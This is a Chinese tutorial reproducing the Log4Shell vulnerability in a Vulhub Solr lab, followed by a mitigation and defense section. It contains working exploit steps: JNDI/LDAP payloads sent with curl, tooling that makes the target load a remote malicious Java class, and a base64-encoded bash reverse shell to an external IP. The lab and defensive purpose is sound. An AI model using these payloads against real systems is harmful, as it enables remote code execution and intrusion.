当前位置: 首页 > news >正文

Log4Shell漏洞复现与防御:基于Vulhub的实战解析

1. 项目概述与核心价值

Log4j2的CVE-2021-44228漏洞,也就是大家常说的“Log4Shell”,绝对是近年来安全圈里最“出圈”的漏洞之一。它之所以能引起如此大的震动,不仅仅是因为它影响范围极广,几乎波及了所有使用Java生态的互联网服务,更在于其利用方式的“简单粗暴”和危害的“深远持久”。作为一个在安全一线摸爬滚打多年的从业者,我见过太多因为一个看似不起眼的日志记录功能,导致整个内网被“打穿”的案例。今天,我们就借助Vulhub这个极佳的漏洞复现环境,来亲手“引爆”一次Log4Shell,目的不是为了搞破坏,而是为了真正理解它的原理、掌握它的利用方式,从而在未来的工作中能更敏锐地发现和防御这类风险。

Vulhub为我们提供了一个开箱即用的、基于Apache Solr的漏洞靶场。Solr是一个广泛使用的企业级搜索平台,它恰好使用了存在漏洞版本的Log4j2库。这个环境完美地模拟了一个真实的应用场景:一个看似功能正常、对外提供服务的Web应用,内部却埋藏着一个可以通过日志输入触发的“核弹”。通过复现,你将清晰地看到,攻击者是如何通过一个精心构造的、看似无害的HTTP请求参数,最终在服务器上执行任意命令的。这个过程,对于安全研究人员来说是学习漏洞原理的绝佳教材,对于开发人员是理解安全编码重要性的生动一课,对于运维和防御人员则是构建有效检测规则和应急响应预案的实战演练。

2. 环境搭建与靶场启动

2.1 Vulhub环境准备

Vulhub的便利性在于其基于Docker Compose的一键部署。首先,你需要一个已经安装好Docker和Docker Compose的Linux环境,我个人习惯使用Ubuntu 20.04/22.04 LTS。如果你还没有安装,可以参照以下命令快速搭建基础环境:

# 更新系统包列表 sudo apt-get update # 安装Docker依赖 sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg # 添加Docker仓库 echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null # 安装Docker引擎 sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io # 安装Docker Compose (以v2为例,可从GitHub release页面获取最新版) sudo curl -L "https://github.com/docker/compose/releases/download/v2.24.5/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose

安装完成后,克隆Vulhub仓库到本地。我建议选择一个磁盘空间充足的目录,因为后续会拉取多个镜像。

git clone https://github.com/vulhub/vulhub.git cd vulhub

进入Log4j漏洞对应的目录:

cd log4j/CVE-2021-44228

注意:在运行任何Docker命令前,请确保当前用户拥有执行Docker的权限。通常需要将用户加入docker用户组:sudo usermod -aG docker $USER,然后重新登录当前会话使之生效。否则,你可能需要频繁使用sudo,但这会带来一些文件权限上的小麻烦。

2.2 启动漏洞靶场

在目标目录下,你会看到一个docker-compose.yml文件。这个文件定义了整个服务栈,包括一个运行着Apache Solr 8.11.0(内含Log4j 2.14.1)的容器。启动服务非常简单:

docker-compose up -d

这个-d参数代表“detached”,即让服务在后台运行。执行后,Docker会从网络拉取必要的镜像并启动容器。第一次运行可能会花费几分钟时间下载镜像,请耐心等待。

启动成功后,使用以下命令确认容器状态:

docker-compose ps

你应该能看到一个名为cve-2021-44228_solr_1的容器,状态为Up。同时,该命令会显示端口映射情况,通常是8983/tcp -> 0.0.0.0:8983。这意味着宿主机的8983端口已经映射到了容器内Solr服务的8983端口。

现在,打开你的浏览器,访问http://<你的宿主机IP>:8983。如果一切顺利,你将看到Apache Solr的管理后台界面。这表明漏洞环境已经成功搭建并运行起来了。

实操心得:有时候启动后访问页面失败,可能是端口冲突。你可以检查8983端口是否被占用:sudo lsof -i:8983。如果被占用,可以修改docker-compose.yml文件中的端口映射,例如将"8983:8983"改为"8984:8983",然后重启服务(docker-compose downdocker-compose up -d)。另外,如果是在云服务器上搭建,请务必在安全组或防火墙中放行对应的端口(如8983)。

3. 漏洞原理深度解析

要利用一个漏洞,首先要吃透它的原理。Log4Shell的本质是在日志记录过程中,对未经校验的用户输入执行了递归解析,并最终触发了不安全的JNDI(Java Naming and Directory Interface)查找。我们来把这个过程拆解一下。

第一步:日志记录与Lookup机制Log4j2有一个强大的功能叫“Lookup”,它允许在日志输出中动态插入一些上下文信息,格式是${prefix:name}。例如,${java:runtime}可以插入Java运行时信息,${env:USER}可以插入环境变量。这本是为了方便日志定制化。

第二步:恶意输入的注入攻击者发现,如果应用程序将用户可控的数据(如HTTP请求头、URL参数、表单数据)记录到了日志中,那么他就可以在这些数据中嵌入Lookup表达式。最致命的一个Lookup是jndi,它允许通过JNDI接口从指定的资源(如LDAP、RMI服务)加载对象。

第三步:递归解析与JNDI触发Log4j2在记录日志时,会对日志消息中的${}进行递归解析。当它解析到${jndi:ldap://attacker.com/evil}时,它不会将其当作普通字符串,而是会真的去执行一个JNDI查找,尝试连接attacker.com这个攻击者控制的LDAP服务器。

第四步:远程代码加载与执行攻击者控制的LDAP服务器可以返回一个恶意的“引用”(Reference),这个引用指向另一个HTTP服务器上的一个包含恶意Java类的JAR文件。受害服务器的JNDI客户端会去下载这个JAR,并实例化其中的类。如果这个类的构造函数或静态代码块中包含了恶意代码(如Runtime.getRuntime().exec("calc")),那么这段代码就会在受害服务器上以当前Java进程的权限执行。

为什么影响如此巨大?

  1. 触发条件极其简单:任何记录日志的地方都可能成为入口。User-Agent、Referer、X-Forwarded-For等HTTP头,搜索框、登录用户名等参数,只要被日志框架记录,就可能被利用。
  2. 默认配置即存在风险:在受影响版本中,Lookup功能(特别是JNDI Lookup)默认是开启的。
  3. Java生态的广泛性:Log4j是Java世界事实上的标准日志框架,从大型互联网公司到各种中间件(Solr, Kafka, Flink等)、开发框架,无所不在。

在我们的Vulhub靶场中,Apache Solr的管理接口/solr/admin/coresaction参数值会被记录到日志中。这就为我们提供了一个完美的、可控制的注入点。

4. 漏洞复现实操步骤

理解了原理,我们开始动手。复现分为两个阶段:首先是“探测”,证明漏洞存在;然后是“利用”,真正执行命令。

4.1 第一阶段:DNS外带探测

在真正执行命令之前,我们需要先确认目标是否存在漏洞,并且我们的Payload能够被成功解析和执行。最安全、最隐蔽的方式就是触发一次DNS查询,将数据外带出来。

我们需要一个能接收DNS查询日志的平台。这里我推荐使用interact.shdnslog.cn这类公开的DNSLog服务。以dnslog.cn为例:

  1. 访问http://dnslog.cn
  2. 点击“Get SubDomain”,你会获得一个唯一的子域名,例如abc123.dnslog.cn
  3. 记住这个域名,我们将在Payload中使用它。

构造一个包含JNDI Lookup的Payload,让它去查询一个包含服务器信息的子域名。经典的Payload格式是:${jndi:ldap://${sys:java.version}.你的子域名}。这里${sys:java.version}是一个系统属性Lookup,它会返回当前Java版本。

例如,你的子域名是abc123.dnslog.cn,Java版本是1.8.0_181,那么最终的LDAP地址就是ldap://1.8.0_181.abc123.dnslog.cn。虽然这是一个LDAP协议头,但在漏洞触发初期,为了发起JNDI查询,受害者服务器会先解析这个主机名,从而产生一次DNS查询记录到1.8.0_181.abc123.dnslog.cn

我们使用curl命令或者Burp Suite来发送攻击请求。用curl示例如下:

curl -v "http://<靶机IP>:8983/solr/admin/cores?action=\${jndi:ldap://\${sys:java.version}.abc123.dnslog.cn}"

关键细节:在命令行中,$符号是特殊字符,所以我们需要用反斜杠\进行转义,即写成\${jndi:...}。如果你在Burp Suite的Repeater模块中直接粘贴,则不需要转义。

发送请求后,迅速回到dnslog.cn页面,点击 “Refresh Record”。如果看到一条关于1.8.0_181.abc123.dnslog.cn(或类似)的DNS查询记录,那么恭喜你,漏洞存在!这证明了:

  1. Solr确实将action参数记录到了日志。
  2. Log4j2解析了我们的Payload。
  3. 服务器尝试进行了JNDI查找(第一步DNS解析)。

4.2 第二阶段:构造JNDI注入实现命令执行

DNS外带成功只证明了漏洞存在,要真正利用它执行命令,还需要一个恶意的JNDI服务来响应客户端的查询,并提供一个恶意的Java类。这里我们使用一个非常流行的工具:JNDI-Injection-Exploit

首先,准备攻击机环境。你需要一台能与靶机网络互通的机器(可以是同一台宿主机,也可以是同一内网的另一台机器),并安装Java 8+环境。

其次,下载并运行JNDI利用工具。从GitHub克隆项目并运行:

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit # 编译项目 mvn clean package -DskipTests # 进入target目录 cd target/ # 启动工具,指定攻击机IP和要执行的命令 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success_vulhub" -A <你的攻击机IP>

执行命令后,工具会同时启动一个RMI服务和LDAP服务,并打印出可用的Payload URL,例如:

[+] LDAP Server Start Listening on 1389... [+] RMI Server Start Listening on 1099... [+] HTTP Server Start Listening on 8080... [+] Payload: rmi://<攻击机IP>:1099/xxxxxx [+] Payload: ldap://<攻击机IP>:1389/xxxxxx

复制其中一个Payload,比如ldap://<攻击机IP>:1389/xxxxxx

最后,向靶机发送包含恶意Payload的请求。再次使用curl或Burp Suite,将之前的DNSLog域名替换成这个LDAP地址:

curl -v "http://<靶机IP>:8983/solr/admin/cores?action=\${jndi:ldap://<攻击机IP>:1389/xxxxxx}"

发送请求后,观察JNDI-Injection-Exploit工具的终端,你会看到它接收到了连接请求,并发送了恶意Reference。如果一切顺利,命令touch /tmp/success_vulhub就会在靶机容器内执行。

验证命令是否执行成功:进入靶机容器查看文件是否创建。

# 进入容器 docker-compose exec solr bash # 查看/tmp目录 ls -la /tmp/

你应该能看到一个名为success_vulhub的空文件。至此,漏洞利用成功,我们实现了远程命令执行。

注意事项:这里能成功执行命令,还有一个关键前提:靶机Java版本需低于 8u191, 7u201, 6u211 或 11.0.1。在这些版本之后,Oracle增加了JNDI远程类加载的默认限制(com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase默认为false)。Vulhub靶场中的环境恰好是低版本JDK,所以可以成功。如果遇到高版本JDK,利用方式会复杂很多,可能需要结合本地类路径中的可利用链(如Tomcat EL Processor、Groovy等),这就是另一个更深的话题了。

5. 漏洞修复与防御方案深度剖析

复现漏洞是为了更好地防御。针对Log4Shell,修复和防御是一个多层次的工作。

5.1 紧急缓解措施(治标)

如果线上系统紧急爆发漏洞,来不及升级,可以采取以下“止血”方案:

  1. 修改JVM参数:启动应用时添加-Dlog4j2.formatMsgNoLookups=true。这个参数在Log4j 2.10及以上版本有效,它会全局禁用消息Lookup。这是最快速有效的临时方案。
  2. 移除漏洞类:找到Log4j-core的jar包,删除JndiLookup类。命令示例:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。这个方法比较“暴力”,但能从根本上阻止JNDI Lookup功能。
  3. 环境变量限制:设置LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS环境变量为true。这是另一种禁用Lookup的方式。
  4. WAF/防火墙规则:在流量入口处部署规则,拦截包含${jndi:${ldap:${rmi:等特征的请求。但要注意攻击者可能会使用各种绕过技巧(如大小写、嵌套、编码等)。

5.2 根本解决方案(治本)

升级Log4j2版本是唯一彻底的解决方案。

  • 升级到2.17.0(Java 8+),2.12.3(Java 7), 或2.3.1(Java 6) 及以上版本。这些版本不仅修复了CVE-2021-44228,还修复了后续发现的相关高危漏洞(如CVE-2021-45046, CVE-2021-45105)。
  • 强烈建议直接升级到当前最新的稳定版,以包含所有安全补丁。可以通过Maven、Gradle或直接替换jar包的方式进行升级。

5.3 长期防御体系建设

  1. 软件成分分析(SCA):在CI/CD流程中集成SCA工具(如OWASP Dependency-Check, Snyk, JFrog Xray),自动扫描项目依赖,及时发现并告警项目中使用的所有存在已知漏洞的组件(包括Log4j这样的间接依赖)。
  2. 最小权限原则:运行Java应用的系统账户应遵循最小权限原则,避免使用root或高权限账户。这样即使被攻破,攻击者能造成的破坏也有限。
  3. 网络隔离与出口限制:严格限制服务器对外发起网络连接的能力。通过防火墙策略,只允许业务必要的出向连接(如访问数据库、缓存、内部API)。这样可以有效阻断JNDI攻击中服务器向外部恶意LDAP/RMI服务器发起的连接。
  4. 使用高版本JDK:将生产环境JDK升级到8u191、7u201、6u211或11.0.1以上的长期支持版本。高版本JDK默认禁用了远程从Codebase加载类,能阻断大部分简单的JNDI注入利用。
  5. 安全编码意识:教育开发人员,不要将任何未经处理的用户输入直接记录到日志中。对于必须记录的信息(如用户ID、请求ID),要进行适当的过滤和脱敏。

6. 拓展:手工搭建简易JNDI利用服务

虽然使用现成工具很方便,但了解其背后的机制能让你对漏洞有更深刻的认识。下面我们尝试用更“原始”的方法来搭建一个简易的恶意LDAP服务器。

我们将使用marshalsec这个工具来快速启动一个恶意的LDAP引用服务器。首先需要编译它:

git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests

编译完成后,在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar

第一步,准备恶意类。创建一个简单的Java类,编译成class文件。例如,创建Exploit.java

public class Exploit { static { try { Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "touch /tmp/handmade_exploit"}); } catch (Exception e) { e.printStackTrace(); } } }

使用目标环境兼容的JDK版本进行编译:javac Exploit.java,生成Exploit.class

第二步,托管恶意类。我们需要一个HTTP服务器来提供这个class文件。在Exploit.class所在目录,用Python快速起一个HTTP服务:

python3 -m http.server 8888

确保攻击机的8888端口可以被靶机访问到。

第三步,启动恶意LDAP服务器。使用marshalsec启动一个LDAP服务,它将把客户端的请求指向我们的HTTP服务。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<攻击机IP>:8888/#Exploit" 1389

这条命令的意思是,在1389端口启动LDAP服务,当有客户端查询时,返回一个指向http://<攻击机IP>:8888/Exploit.class的Reference。

第四步,触发漏洞。和之前一样,向靶机发送Payload,其中LDAP地址指向我们刚启动的服务:

curl -v "http://<靶机IP>:8983/solr/admin/cores?action=\${jndi:ldap://<攻击机IP>:1389/Exploit}"

如果流程正确,你将看到Python HTTP服务器收到了对/Exploit.class的请求,并且靶机的/tmp目录下会生成handmade_exploit文件。

通过这个手工过程,你可以清晰地看到整个攻击链:漏洞触发 → JNDI查询LDAP → LDAP返回HTTP地址 → 客户端下载并加载恶意类 → 静态代码块中的命令被执行。这比单纯使用自动化工具点一下按钮,理解要深入得多。

7. 常见问题与排查技巧实录

在复现过程中,你可能会遇到各种问题。下面是我总结的一些常见坑点和解决方法。

问题1:发送Payload后,DNSLog平台没有收到记录。

  • 检查Payload格式:确保${}没有写错,没有多余的空格。在Burp中注意URL编码问题,有时需要手动编码{}(分别为%7B%7D)。
  • 检查网络连通性:确保靶机(Docker容器)能访问外网,能够解析DNS。可以进入容器执行ping dnslog.cnnslookup dnslog.cn测试。
  • 检查日志级别:Log4j默认可能不会记录某些级别的日志(如DEBUG)。但Solr的管理接口访问日志通常是会记录的。可以尝试换用其他可能被记录的参数或请求头,如User-AgentX-Forwarded-For
  • 查看容器日志:运行docker-compose logs solr查看应用日志,看是否有错误信息,或者是否能看到我们注入的Payload被打印出来(可能被截断)。

问题2:JNDI-Injection-Exploit工具显示收到连接,但命令没有执行。

  • 检查Java版本:这是最常见的原因。进入靶机容器,运行java -version。如果版本高于8u191等限制版本,简单的远程类加载利用会失败。Vulhub环境通常是低版本,但如果你自己调整过,可能会遇到此问题。
  • 检查命令路径touch命令在大多数Linux容器中可用。如果你执行的是其他命令,确保该命令在容器内存在且路径正确。建议先用绝对路径/bin/touch
  • 检查防火墙/安全组:确保攻击机的LDAP(1389)、RMI(1099)、HTTP(8080)端口对靶机是开放的。如果是在云服务器上,别忘了配置安全组入站规则。
  • 查看工具输出:仔细阅读JNDI-Injection-Exploit的输出,看是否有报错,比如“Reference contains no ObjectFactory classname”等,这可能是工具与目标JDK版本兼容性问题。

问题3:使用手工搭建的LDAP服务时,靶机不下载恶意类。

  • 检查HTTP服务:确保Python HTTP服务器(8888端口)正常运行,且能通过http://<攻击机IP>:8888/Exploit.class直接访问到class文件。
  • 检查LDAP服务返回:在启动marshalsec的终端,观察当收到连接时,是否输出了正确的转发信息。有时需要指定更完整的URL,如http://<攻击机IP>:8888/Exploit.class
  • 检查靶机网络:确保靶机容器能访问到攻击机的1389(LDAP)和8888(HTTP)端口。可以在容器内用telnet <攻击机IP> 1389telnet <攻击机IP> 8888测试连通性。

问题4:漏洞复现成功,但想尝试其他利用方式(如反弹Shell)失败。

  • 命令中的特殊字符:反弹Shell命令(如bash -i >& /dev/tcp/...)包含重定向符>&,在Java中直接执行可能会被解析错误。有几种解决方法:
    1. 编码:将整个命令进行Base64编码,然后使用bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}这种形式执行。
    2. 使用脚本:将命令写入一个脚本文件,然后执行该脚本。
    3. 使用工具内置功能:JNDI-Injection-Exploit工具支持-C参数直接执行命令,它对命令处理得更好。对于复杂命令,可以先用工具生成Payload试试。
  • 权限问题:容器内可能权限受限,或者bash不可用。尝试使用/bin/sh。执行whoamiid命令查看当前权限。

一个实用的排查流程:当攻击不成功时,遵循“由近及远”的原则:

  1. 看靶机日志(docker-compose logs solr):有没有错误?有没有收到请求?
  2. 看攻击机工具日志:LDAP/RMI服务有没有收到连接?收到了什么样的请求?
  3. 看中间服务日志:DNSLog有没有记录?HTTP服务器有没有收到下载请求?
  4. 网络测试:在容器内用curlwget尝试直接访问攻击机HTTP服务,看能否下载文件。
  5. 简化测试:先尝试执行最简单的touch /tmp/test命令,确保基础利用链是通的,再尝试复杂的命令。

记住,漏洞复现环境是可控的,大胆尝试、仔细观察日志、逐步排查,每一个错误信息都是通往理解的阶梯。这个过程本身,就是对你排查问题能力最好的训练。

http://www.jsqmd.com/news/1122512/

相关文章:

  • 多维聚合数据操作实战:超越GROUP BY的七步工程化方法
  • LV3296条码扫描引擎与R7FA4M3AF3CFB144 MCU集成指南
  • 2026年AI学术研究工具全解析与应用指南
  • SlideNodeParser:高效解析演示文档的RAG技术组件
  • LLM数据漂移监测与LangSmith实践指南
  • PCA与随机森林组合算法实战指南
  • WSEN-ISDS与PIC18F4525构建6DOF IMU运动跟踪方案
  • 生产级机器学习:从Notebook到高可用模型服务的实战指南
  • 大模型选型三维评估法:任务粒度、领域语义与工程确定性
  • PCF8591与PIC18F2525的信号转换系统设计与优化
  • 工业4-20mA电流环发射器设计与dsPIC33EP应用
  • Web安全实战指南:从SQL注入到XSS,核心漏洞原理与修复方案详解
  • Linux运维学习路径:从零基础到实战的系统化指南
  • 五类AI加速器的本质差异与选型逻辑
  • 思科UC系统CVE-2026-20045漏洞深度解析与应急防护实战指南
  • 大模型选型实战指南:四款主流模型场景适配策略
  • PIC18F57Q43驱动WS2812 LED灯带全攻略
  • 大模型落地新范式:从参数竞赛到价值效率三角
  • 学术论文AI内容检测与降重工具实战指南
  • CANopenNode:5个步骤快速掌握工业自动化通信协议栈
  • Python深度学习实现苹果西红柿图像分类系统
  • AIGC与大模型学习路径全解析:从工程师到产品经理的实战指南
  • 基于YOLOv4的头盔佩戴检测系统设计与实现
  • YOLOv8n集成BiFPN提升小目标检测性能实践
  • 基于CNN的美食图像识别系统设计与实现
  • 量子自旋链耗散基态制备实验解析
  • 人工智能训练师考试实操:数据准备到模型优化全解析
  • 18Hz实时信号处理:滤波器设计与仿真优化实践
  • 美赛E题备战指南:解题框架与关键技术解析
  • 专科生毕业论文写作工具实测与效率提升指南